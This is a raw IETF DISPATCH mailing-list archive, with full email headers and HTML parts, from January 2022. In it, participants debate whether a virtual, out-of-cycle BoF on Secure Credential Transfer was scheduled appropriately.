bh=0MAUqMmkHu5N01WkE9tgKYaV8XlYHYfVnjdHYhwBEes=; b=e7kRLMMi6AIiFzlyd+9FHsOydLOyTPw8Orip/4BU99e5cTYTFfkwenXkNXV/JkRJRX AMlsqwVON4Pa7YdgXKiEiTfBtYM/G88I/508z484NvhcgMbNCBLt/o5THhpMzccl8qOw I/zYOl2BrqEe9YiAiYVE8tUa4XRknvgoVv6uFzBdPqzV/YJraFlzIWy8noMqYeRl7ZNh gFfXK0ifjiJgZbpChX4ca69SKF5Ctq4q5axRoDdXpO20ojuhGND1xKm2TGZ74fu4lcEz yd54pANkGCQyzLc/8124BGuN/fhlK1qtpTEPFY/Zb4jg6BmQkHe7BrWP7aDV756BZMDk ZFJw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=0MAUqMmkHu5N01WkE9tgKYaV8XlYHYfVnjdHYhwBEes=; b=vDsaTcI+MNRmimTirayzzt/zROAQTXfO++Hj+0pUBZ7cOMai8VNGmMH1WIRpJ8gOw9 Z+pVNznR6SBm4cCxwwsiRSqELer4EM88t8Xq49z0Z7aAO8di5yqHC9jOO1+999DJ465e 7Zu/JXg71ua8P9u/O5HRKho/hjC7qQjbGFZoelf6XEjfrwgVL9bHpa2uOFdTLFkpFD+L GoWl34CntwZMAmdhiMvArOotCpBB+wP+AuSvS1lpUS4WADW8ytFtKCSXopt0KEGSiat3 +J6zKEd86FzCLyK1GJLv6kUOceC0+jEgGL/kPAx+TTax3V4laQM64x+pAolroxkP05Ta gg0w== X-Gm-Message-State: AOAM533CAMf9Gq/bEMTT5nlPnpUWBiGObxH4SAP95ECj5tHoXlEIq2+j N8dsdb0LO1ZXldXrYdLzA1CB+8v7GOS5yxNiXy27y+kF4wM= X-Google-Smtp-Source: ABdhPJyK8iclmPtjaiPEbcIazQaly2I/65fogrA++8Cqn3PYXyH5CadxUzUIKqZiJpBFkc00urNyiyD/9LPICLjTu5w= X-Received: by 2002:a05:6638:aca:: with SMTP id m10mr666920jab.94.1643242945465; Wed, 26 Jan 2022 16:22:25 -0800 (PST) MIME-Version: 1.0 References: In-Reply-To: From: Eric Rescorla Date: Wed, 26 Jan 2022 16:21:49 -0800 Message-ID: To: Mark Nottingham Cc: The IESG , DISPATCH , Matthew Byington Content-Type: multipart/alternative; boundary="0000000000000b6b9c05d6855084" Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Jan 2022 00:22:32 -0000 --0000000000000b6b9c05d6855084 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable I share Mark's concerns about this BoF. Is there a reason this wasn't held during IETF week? -Ekr On Wed, Jan 26, 2022 at 4:17 PM Mark Nottingham wrote: > I'm a little surprised to hear this. > > Holding BoFs during IETF weeks gives them elevated visibility during a > period when IETF folks have already reserved their attention and time for > IETF matters. Scheduling one out of an IETF week means that people need t= o > accommodate it in their schedules, not only for the event but also for > preparation work. > > Holding such a BoF virtually compounds that -- especially when there has > been ZERO consultation with the broad community about timing. E.g, if I > wanted to attend this BoF, I'd need to be up before 4am. > > The icing on the cake, though, is announcing it with only two weeks' > notice -- a period of time shorter than many vacations. > > As a result, I have very little confidence that this BoF will reflect > community consensus and input. Of course, you will confirm consensus on > lists, etc., but holding the BoF in such a limited forum taints the outco= me. > > IESG, this is a horrible precedent and while I won't specifically argue t= o > cancel or delay this BoF, I do expect you to be much more thoughtful abou= t > these issues. > > Cheers, > > > > On 26 Jan 2022, at 12:00 pm, Matthew Byington 40apple.com@dmarc.ietf.org> wrote: > > > > Hi Eric, > > > > My understanding is that the BoF will be handled virtually (not > in-person). It has also been scheduled outside of the normal IETF week. > > > > The BoF is working-group forming, yes. > > > > Matt > > > >> On Jan 25, 2022, at 11:38 AM, Eric Rescorla wrote: > >> > >> Can you clarify what the status of a "virtual BoF" is, here? I.e., is > this in lieu of an actual BoF at the next IETF? Is this WG forming? > >> > >> -Ekr > >> > >> > >> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington 40apple.com@dmarc.ietf.org> wrote: > >> Hi there, > >> > >> I wanted to send an email out communicating an upcoming virtual BoF > meeting scheduled for Thursday February 10th. > >> > >> This is a follow-on to the initial presentation at IETF week 112 given > last year. > >> > >> I am posting the information below to a few different IETF mailing > lists, so apologies if you receive duplicate notifications on the subject= . > >> > >> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to get t= his scheduled and > organized. > >> > >> Latest draft: > >> > https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html > >> > >> Charter: > >> > https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.m= d > >> > >> BoF Request: > >> > https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-re= quest/ > >> > >> Virtual BoF (Francesca is finalizing this schedule still, but this is > the proposed date and time): > >> Thursday February 10th 17:00-19:00 UTC ( > https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D2673730&= date=3D2022-2-10&sln=3D18-20&hf=3D1 > ) > >> > >> Mailing list: > >> https://www.ietf.org/mailman/listinfo/secret > >> > >> Thanks, > >> Matt > >> _______________________________________________ > >> dispatch mailing list > >> dispatch@ietf.org > >> https://www.ietf.org/mailman/listinfo/dispatch > > > > _______________________________________________ > > dispatch mailing list > > dispatch@ietf.org > > https://www.ietf.org/mailman/listinfo/dispatch > > -- > Mark Nottingham https://www.mnot.net/ > > --0000000000000b6b9c05d6855084 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
I share Mark's concerns about this BoF. Is there = a reason this wasn't held during IETF week?

-Ekr


On Wed, Jan 26, 2022 at 4:17 PM Mark Nottingham = <mnot@mnot.net> wrote:
=
I'm a little surprise= d to hear this.

Holding BoFs during IETF weeks gives them elevated visibility during a peri= od when IETF folks have already reserved their attention and time for IETF = matters. Scheduling one out of an IETF week means that people need to accom= modate it in their schedules, not only for the event but also for preparati= on work.

Holding such a BoF virtually compounds that -- especially when there has be= en ZERO consultation with the broad community about timing. E.g, if I wante= d to attend this BoF, I'd need to be up before 4am.

The icing on the cake, though, is announcing it with only two weeks' no= tice -- a period of time shorter than many vacations.

As a result, I have very little confidence that this BoF will reflect commu= nity consensus and input. Of course, you will confirm consensus on lists, e= tc., but holding the BoF in such a limited forum taints the outcome.

IESG, this is a horrible precedent and while I won't specifically argue= to cancel or delay this BoF, I do expect you to be much more thoughtful ab= out these issues.

Cheers,


> On 26 Jan 2022, at 12:00 pm, Matthew Byington <mbyington=3D40apple.com@dmarc.= ietf.org> wrote:
>
> Hi Eric,
>
> My understanding is that the BoF will be handled virtually (not in-per= son). It has also been scheduled outside of the normal IETF week.
>
> The BoF is working-group forming, yes.
>
> Matt
>
>> On Jan 25, 2022, at 11:38 AM, Eric Rescorla <ekr@rtfm.com> wrote:
>>
>> Can you clarify what the status of a "virtual BoF" is, h= ere? I.e., is this in lieu of an actual BoF at the next IETF? Is this WG fo= rming?
>>
>> -Ekr
>>
>>
>> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington <mbyington=3D= 40apple.com= @dmarc.ietf.org> wrote:
>> Hi there,
>>
>> I wanted to send an email out communicating an upcoming virtual Bo= F meeting scheduled for Thursday February 10th.
>>
>> This is a follow-on to the initial presentation at IETF week 112 g= iven last year.
>>
>> I am posting the information below to a few different IETF mailing= lists, so apologies if you receive duplicate notifications on the subject.=
>>
>> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to g= et this scheduled and organized.
>>
>> Latest draft:
>>=C2=A0 =C2=A0 =C2=A0 https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html
>>
>> Charter:
>>=C2=A0 =C2=A0 =C2=A0 https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.= md
>>=C2=A0 =C2=A0 =C2=A0
>> BoF Request:
>>=C2=A0 =C2=A0 =C2=A0 https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-= bof-request/
>>=C2=A0 =C2=A0 =C2=A0
>> Virtual BoF (Francesca is finalizing this schedule still, but this= is the proposed date and time):
>>=C2=A0 =C2=A0 =C2=A0 Thursday February 10th 17:00-19:00 UTC (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673= 730,5,8,100&h=3D2673730&date=3D2022-2-10&sln=3D18-20&hf=3D1= )
>>
>> Mailing list:
>>=C2=A0 =C2=A0 =C2=A0 https://www.ietf.org/mailma= n/listinfo/secret
>>
>> Thanks,
>> Matt
>> _______________________________________________
>> dispatch mailing list
>> dispatch@ie= tf.org
>> https://www.ietf.org/mailman/listinfo/dispatc= h
>
> _______________________________________________
> dispatch mailing list
> dispatch@ietf.o= rg
> https://www.ietf.org/mailman/listinfo/dispatch

--
Mark Nottingham=C2=A0 =C2=A0https://www.mnot.net/

--0000000000000b6b9c05d6855084-- From nobody Wed Jan 26 17:39:23 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id ED7353A1148 for ; Wed, 26 Jan 2022 17:39:15 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.895 X-Spam-Level: X-Spam-Status: No, score=-1.895 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=ipv-sx.20210112.gappssmtp.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id whgh07paw92E for ; Wed, 26 Jan 2022 17:39:11 -0800 (PST) Received: from mail-qv1-xf2e.google.com (mail-qv1-xf2e.google.com [IPv6:2607:f8b0:4864:20::f2e]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 56A563A1147 for ; Wed, 26 Jan 2022 17:39:11 -0800 (PST) Received: by mail-qv1-xf2e.google.com with SMTP id d8so1547267qvv.2 for ; Wed, 26 Jan 2022 17:39:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ipv-sx.20210112.gappssmtp.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=g+7/A2wyRVuB5NzIhoyxy/AEpHp9HcNNLsxv5Byl8cc=; b=gETt1iZaVexPVlN8VL32XqQZzr1hNHp34NYnTEP4wa1QxsjlUaMHPR4mTm7FE8InSJ PAAGR2lbYwaOy1omX5itjodjrLsTTg8H9Aw2mTQTsdifbcN5xRRXq7/i3CZlW9UvOF7+ QO/LBKIWdD2QF0x4qza8Tg0AEFwphOvfPSv/UAFlUwvTdENeKZ84vHFR854NlArjoBVo gqT79Qy2rG4+xQnb0HfjU1QbfBZFMTyumXLmGCALgfF8zR03RznFajM10AY27LQER3Ff 7UKgEzzIyXeUP4FzvBTQLSNVZTnqKs9W4Xl0f733VMmgSkteaXHvszeZBtxumF7gCE61 ovIQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=g+7/A2wyRVuB5NzIhoyxy/AEpHp9HcNNLsxv5Byl8cc=; b=pYsW/d9cAm2spXAJcBNbOF7NOXwM7xK6f5mUEoOIH6WMvecHsddYEz0Kh3O7l+Q6Gv o97mV3IfpGlQOEQhPpXESDLuzLxaeUtOHnz87sCzlVTg2oKEdUDOOHZuG8fGEUgjNN7j y1tVMClKiliiSSalKAzPEky8HHkQ+Onue3/PVqGdJW4nDAfLz0khhv7HwDJeIG9Ito6s aDN4d5EoKdtnTxfHHyV8FiwTR4TRxjWz7ABUS/14++WRQQD8t4ZVW2UFJIXfPB0krxak 1EgrxpWq6l5niLRc7ZRvdjIbLHc+Y4enx52o2oXcNlmBmJgdE9dh6LHX+k/YLwcGIhU+ /xsA== X-Gm-Message-State: AOAM531fhwFa+kaOF0RPDLHtmR+jFcY/msoX6J1MrZt0Zxmjc/N9M1Gg BdYg+9FMqY2LMDhBHuUYx+ENzkjP5Q+3dH1a1gmTHA== X-Google-Smtp-Source: ABdhPJwWN9YMVvbJWIRxm1rMm8tTz3VxxdSY8eRPcXstCtnidaQWH6lioavO8IkZMcb0NBcIFuhlh2tGMXQrGF9s7AI= X-Received: by 2002:a05:6214:240e:: with SMTP id fv14mr945247qvb.130.1643247549397; Wed, 26 Jan 2022 17:39:09 -0800 (PST) MIME-Version: 1.0 References: In-Reply-To: From: Richard Barnes Date: Wed, 26 Jan 2022 20:38:58 -0500 Message-ID: To: Eric Rescorla Cc: Mark Nottingham , DISPATCH , The IESG , Matthew Byington Content-Type: multipart/alternative; boundary="00000000000075ce5605d6866267" Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Jan 2022 01:39:16 -0000 --00000000000075ce5605d6866267 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable I have the opposite concerns from Eric and Mark. Holding a BoF outside the IETF week means less competition for peoples' attention. And in the era of easy, high-quality conferencing, it's ridiculous to delay work for months on the basis that we can only get the right group of people together three weeks a year. +1 for virtual BoFs --Richard On Wed, Jan 26, 2022 at 7:22 PM Eric Rescorla wrote: > I share Mark's concerns about this BoF. Is there a reason this wasn't hel= d > during IETF week? > > -Ekr > > > On Wed, Jan 26, 2022 at 4:17 PM Mark Nottingham wrote: > >> I'm a little surprised to hear this. >> >> Holding BoFs during IETF weeks gives them elevated visibility during a >> period when IETF folks have already reserved their attention and time fo= r >> IETF matters. Scheduling one out of an IETF week means that people need = to >> accommodate it in their schedules, not only for the event but also for >> preparation work. >> >> Holding such a BoF virtually compounds that -- especially when there has >> been ZERO consultation with the broad community about timing. E.g, if I >> wanted to attend this BoF, I'd need to be up before 4am. >> >> The icing on the cake, though, is announcing it with only two weeks' >> notice -- a period of time shorter than many vacations. >> >> As a result, I have very little confidence that this BoF will reflect >> community consensus and input. Of course, you will confirm consensus on >> lists, etc., but holding the BoF in such a limited forum taints the outc= ome. >> >> IESG, this is a horrible precedent and while I won't specifically argue >> to cancel or delay this BoF, I do expect you to be much more thoughtful >> about these issues. >> >> Cheers, >> >> >> > On 26 Jan 2022, at 12:00 pm, Matthew Byington > 40apple.com@dmarc.ietf.org> wrote: >> > >> > Hi Eric, >> > >> > My understanding is that the BoF will be handled virtually (not >> in-person). It has also been scheduled outside of the normal IETF week. >> > >> > The BoF is working-group forming, yes. >> > >> > Matt >> > >> >> On Jan 25, 2022, at 11:38 AM, Eric Rescorla wrote: >> >> >> >> Can you clarify what the status of a "virtual BoF" is, here? I.e., is >> this in lieu of an actual BoF at the next IETF? Is this WG forming? >> >> >> >> -Ekr >> >> >> >> >> >> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington > 40apple.com@dmarc.ietf.org> wrote: >> >> Hi there, >> >> >> >> I wanted to send an email out communicating an upcoming virtual BoF >> meeting scheduled for Thursday February 10th. >> >> >> >> This is a follow-on to the initial presentation at IETF week 112 give= n >> last year. >> >> >> >> I am posting the information below to a few different IETF mailing >> lists, so apologies if you receive duplicate notifications on the subjec= t. >> >> >> >> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to get = this scheduled >> and organized. >> >> >> >> Latest draft: >> >> >> https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html >> >> >> >> Charter: >> >> >> https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.= md >> >> >> >> BoF Request: >> >> >> https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-r= equest/ >> >> >> >> Virtual BoF (Francesca is finalizing this schedule still, but this is >> the proposed date and time): >> >> Thursday February 10th 17:00-19:00 UTC ( >> https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D2673730= &date=3D2022-2-10&sln=3D18-20&hf=3D1 >> ) >> >> >> >> Mailing list: >> >> https://www.ietf.org/mailman/listinfo/secret >> >> >> >> Thanks, >> >> Matt >> >> _______________________________________________ >> >> dispatch mailing list >> >> dispatch@ietf.org >> >> https://www.ietf.org/mailman/listinfo/dispatch >> > >> > _______________________________________________ >> > dispatch mailing list >> > dispatch@ietf.org >> > https://www.ietf.org/mailman/listinfo/dispatch >> >> -- >> Mark Nottingham https://www.mnot.net/ >> >> _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch > --00000000000075ce5605d6866267 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
I have the opposite concerns from Eric and Mark.=C2= =A0 Holding a BoF outside the IETF week means less competition for peoples&= #39; attention.=C2=A0 And in the era of easy, high-quality conferencing, it= 's ridiculous to delay work for months on the basis that we can only ge= t the right group of people together three weeks a year.

+1 for virtual BoFs

--Richard
=

= On Wed, Jan 26, 2022 at 7:22 PM Eric Rescorla <ekr@rtfm.com> wrote:
I share Mark's concerns about = this BoF. Is there a reason this wasn't held during IETF week?

-Ekr


On Wed, Jan 26, 2022 at 4:17 = PM Mark Nottingham <m= not@mnot.net> wrote:
I'm a little surprised to hear this.

Holding BoFs during IETF weeks gives them elevated visibility during a peri= od when IETF folks have already reserved their attention and time for IETF = matters. Scheduling one out of an IETF week means that people need to accom= modate it in their schedules, not only for the event but also for preparati= on work.

Holding such a BoF virtually compounds that -- especially when there has be= en ZERO consultation with the broad community about timing. E.g, if I wante= d to attend this BoF, I'd need to be up before 4am.

The icing on the cake, though, is announcing it with only two weeks' no= tice -- a period of time shorter than many vacations.

As a result, I have very little confidence that this BoF will reflect commu= nity consensus and input. Of course, you will confirm consensus on lists, e= tc., but holding the BoF in such a limited forum taints the outcome.

IESG, this is a horrible precedent and while I won't specifically argue= to cancel or delay this BoF, I do expect you to be much more thoughtful ab= out these issues.

Cheers,


> On 26 Jan 2022, at 12:00 pm, Matthew Byington <mbyington=3D40apple.com@dmarc.= ietf.org> wrote:
>
> Hi Eric,
>
> My understanding is that the BoF will be handled virtually (not in-per= son). It has also been scheduled outside of the normal IETF week.
>
> The BoF is working-group forming, yes.
>
> Matt
>
>> On Jan 25, 2022, at 11:38 AM, Eric Rescorla <ekr@rtfm.com> wrote:
>>
>> Can you clarify what the status of a "virtual BoF" is, h= ere? I.e., is this in lieu of an actual BoF at the next IETF? Is this WG fo= rming?
>>
>> -Ekr
>>
>>
>> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington <mbyington=3D= 40apple.com= @dmarc.ietf.org> wrote:
>> Hi there,
>>
>> I wanted to send an email out communicating an upcoming virtual Bo= F meeting scheduled for Thursday February 10th.
>>
>> This is a follow-on to the initial presentation at IETF week 112 g= iven last year.
>>
>> I am posting the information below to a few different IETF mailing= lists, so apologies if you receive duplicate notifications on the subject.=
>>
>> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to g= et this scheduled and organized.
>>
>> Latest draft:
>>=C2=A0 =C2=A0 =C2=A0 https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html
>>
>> Charter:
>>=C2=A0 =C2=A0 =C2=A0 https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.= md
>>=C2=A0 =C2=A0 =C2=A0
>> BoF Request:
>>=C2=A0 =C2=A0 =C2=A0 https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-= bof-request/
>>=C2=A0 =C2=A0 =C2=A0
>> Virtual BoF (Francesca is finalizing this schedule still, but this= is the proposed date and time):
>>=C2=A0 =C2=A0 =C2=A0 Thursday February 10th 17:00-19:00 UTC (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673= 730,5,8,100&h=3D2673730&date=3D2022-2-10&sln=3D18-20&hf=3D1= )
>>
>> Mailing list:
>>=C2=A0 =C2=A0 =C2=A0 https://www.ietf.org/mailma= n/listinfo/secret
>>
>> Thanks,
>> Matt
>> _______________________________________________
>> dispatch mailing list
>> dispatch@ie= tf.org
>> https://www.ietf.org/mailman/listinfo/dispatc= h
>
> _______________________________________________
> dispatch mailing list
> dispatch@ietf.o= rg
> https://www.ietf.org/mailman/listinfo/dispatch

--
Mark Nottingham=C2=A0 =C2=A0https://www.mnot.net/

_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
--00000000000075ce5605d6866267-- From nobody Wed Jan 26 18:08:45 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8D0DC3A12B9; Wed, 26 Jan 2022 18:08:43 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.846 X-Spam-Level: X-Spam-Status: No, score=-1.846 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_ENVFROM_END_DIGIT=0.25, FREEMAIL_FROM=0.001, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=gmail.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id l2vLgnZAa6DX; Wed, 26 Jan 2022 18:08:27 -0800 (PST) Received: from mail-ej1-x636.google.com (mail-ej1-x636.google.com [IPv6:2a00:1450:4864:20::636]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id C9F633A12B8; Wed, 26 Jan 2022 18:08:26 -0800 (PST) Received: by mail-ej1-x636.google.com with SMTP id s5so2555530ejx.2; Wed, 26 Jan 2022 18:08:26 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=gWew8OKRsezmU/XkHk1lFh61YvbBfM9zHb68q5TFDWs=; b=mgS2aAx676izTcE4HgyPIIplsqKFKewbUqMCQjuOzlwrn3DDkz/EC+cbfwrRvUz9gB glZasvLqxVVlx4+uhB4BSxrEkcaaDoYf/9j44dxVYivaFFJzc3vxF90VvA71UvBA72We KQECamB9VO9wlWcicLDyyXBvtxDhv+2KZtEogNgoyXFgGZ+0KmCFSR6PFxMJp+rWsWD+ dc2Dch5w9CfdGIhdssppyXbgauvUzrQ2HklYG9/h44TkPn5LN/ShHYBcisO9Sb0s9IZo CpvMt3/2U+ZWmz/WrHyO15n5AM2EaLv3U1+Yxgln0bIIJ8bbYITV0m5ALhml2s7w3HR7 zzAA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=gWew8OKRsezmU/XkHk1lFh61YvbBfM9zHb68q5TFDWs=; b=m2OrQfi5HPOBVcNAUiuwhp594+H4T2htJJq/VRAjtjXPqzFvlY8ZDJj1XA+4RGP4xe vnTNryGE40Qqez+4SEcSInyU2QSiMNwkVaI2P2TfzdGywYN0jOKcsQFePreLYxcnqHQX kd7WuY/mBUrTXbhNLsNp9ilRn7WH8XsQyrr5pKnJ0GacDkBXtaR1kjj2xF/PY+CqXOTE irTgCyXb0YyeMKzjLHW53nIS2mfJ64NTxpVhrCdwqTAgCSUt9MdphuaIjE7xxE6ZL6K7 h8VGCiaSct6GsyMXV/b32c1CZWHf4dKL7w4T4omrUW6r6FrAc9d1Ei6TeZQ5Tq1rcGJH FQbw== X-Gm-Message-State: AOAM530gliH2P1pyJP5CS2fHGsBrGUnFSbImVtjEJJo+pQYeaiweilvO Cqz9QJpvasWMZuY4Cf7XIzhicGWA8pPAxcbJrQghaG42 X-Google-Smtp-Source: ABdhPJyeWeZc7ix7Z5Ftq+UjbBTRLRTvPZj1PSH4/1rtfIKbsaqv6HNk44dA9pvD2FPaKHHiRUbl+E7aRnXXqPtBro0= X-Received: by 2002:a17:906:4fc5:: with SMTP id i5mr1297325ejw.630.1643249304035; Wed, 26 Jan 2022 18:08:24 -0800 (PST) MIME-Version: 1.0 References: In-Reply-To: From: Lucas Pardue Date: Thu, 27 Jan 2022 02:08:12 +0000 Message-ID: To: Richard Barnes Cc: Eric Rescorla , DISPATCH , The IESG , Matthew Byington Content-Type: multipart/alternative; boundary="0000000000000b664e05d686cb69" Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Jan 2022 02:08:44 -0000 --0000000000000b664e05d686cb69 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Either way, there's not really much detail to help prepare for the BoF. With it being two weeks away I'd expect to see an agenda at least. Cheers, Lucas On Thu, Jan 27, 2022 at 1:39 AM Richard Barnes wrote: > I have the opposite concerns from Eric and Mark. Holding a BoF outside > the IETF week means less competition for peoples' attention. And in the > era of easy, high-quality conferencing, it's ridiculous to delay work for > months on the basis that we can only get the right group of people togeth= er > three weeks a year. > > +1 for virtual BoFs > > --Richard > > On Wed, Jan 26, 2022 at 7:22 PM Eric Rescorla wrote: > >> I share Mark's concerns about this BoF. Is there a reason this wasn't >> held during IETF week? >> >> -Ekr >> >> >> On Wed, Jan 26, 2022 at 4:17 PM Mark Nottingham wrote: >> >>> I'm a little surprised to hear this. >>> >>> Holding BoFs during IETF weeks gives them elevated visibility during a >>> period when IETF folks have already reserved their attention and time f= or >>> IETF matters. Scheduling one out of an IETF week means that people need= to >>> accommodate it in their schedules, not only for the event but also for >>> preparation work. >>> >>> Holding such a BoF virtually compounds that -- especially when there ha= s >>> been ZERO consultation with the broad community about timing. E.g, if I >>> wanted to attend this BoF, I'd need to be up before 4am. >>> >>> The icing on the cake, though, is announcing it with only two weeks' >>> notice -- a period of time shorter than many vacations. >>> >>> As a result, I have very little confidence that this BoF will reflect >>> community consensus and input. Of course, you will confirm consensus on >>> lists, etc., but holding the BoF in such a limited forum taints the out= come. >>> >>> IESG, this is a horrible precedent and while I won't specifically argue >>> to cancel or delay this BoF, I do expect you to be much more thoughtful >>> about these issues. >>> >>> Cheers, >>> >>> >>> > On 26 Jan 2022, at 12:00 pm, Matthew Byington >> 40apple.com@dmarc.ietf.org> wrote: >>> > >>> > Hi Eric, >>> > >>> > My understanding is that the BoF will be handled virtually (not >>> in-person). It has also been scheduled outside of the normal IETF week. >>> > >>> > The BoF is working-group forming, yes. >>> > >>> > Matt >>> > >>> >> On Jan 25, 2022, at 11:38 AM, Eric Rescorla wrote: >>> >> >>> >> Can you clarify what the status of a "virtual BoF" is, here? I.e., i= s >>> this in lieu of an actual BoF at the next IETF? Is this WG forming? >>> >> >>> >> -Ekr >>> >> >>> >> >>> >> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington >> 40apple.com@dmarc.ietf.org> wrote: >>> >> Hi there, >>> >> >>> >> I wanted to send an email out communicating an upcoming virtual BoF >>> meeting scheduled for Thursday February 10th. >>> >> >>> >> This is a follow-on to the initial presentation at IETF week 112 >>> given last year. >>> >> >>> >> I am posting the information below to a few different IETF mailing >>> lists, so apologies if you receive duplicate notifications on the subje= ct. >>> >> >>> >> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to get= this scheduled >>> and organized. >>> >> >>> >> Latest draft: >>> >> >>> https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.htm= l >>> >> >>> >> Charter: >>> >> >>> https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter= .md >>> >> >>> >> BoF Request: >>> >> >>> https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-= request/ >>> >> >>> >> Virtual BoF (Francesca is finalizing this schedule still, but this i= s >>> the proposed date and time): >>> >> Thursday February 10th 17:00-19:00 UTC ( >>> https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D267373= 0&date=3D2022-2-10&sln=3D18-20&hf=3D1 >>> ) >>> >> >>> >> Mailing list: >>> >> https://www.ietf.org/mailman/listinfo/secret >>> >> >>> >> Thanks, >>> >> Matt >>> >> _______________________________________________ >>> >> dispatch mailing list >>> >> dispatch@ietf.org >>> >> https://www.ietf.org/mailman/listinfo/dispatch >>> > >>> > _______________________________________________ >>> > dispatch mailing list >>> > dispatch@ietf.org >>> > https://www.ietf.org/mailman/listinfo/dispatch >>> >>> -- >>> Mark Nottingham https://www.mnot.net/ 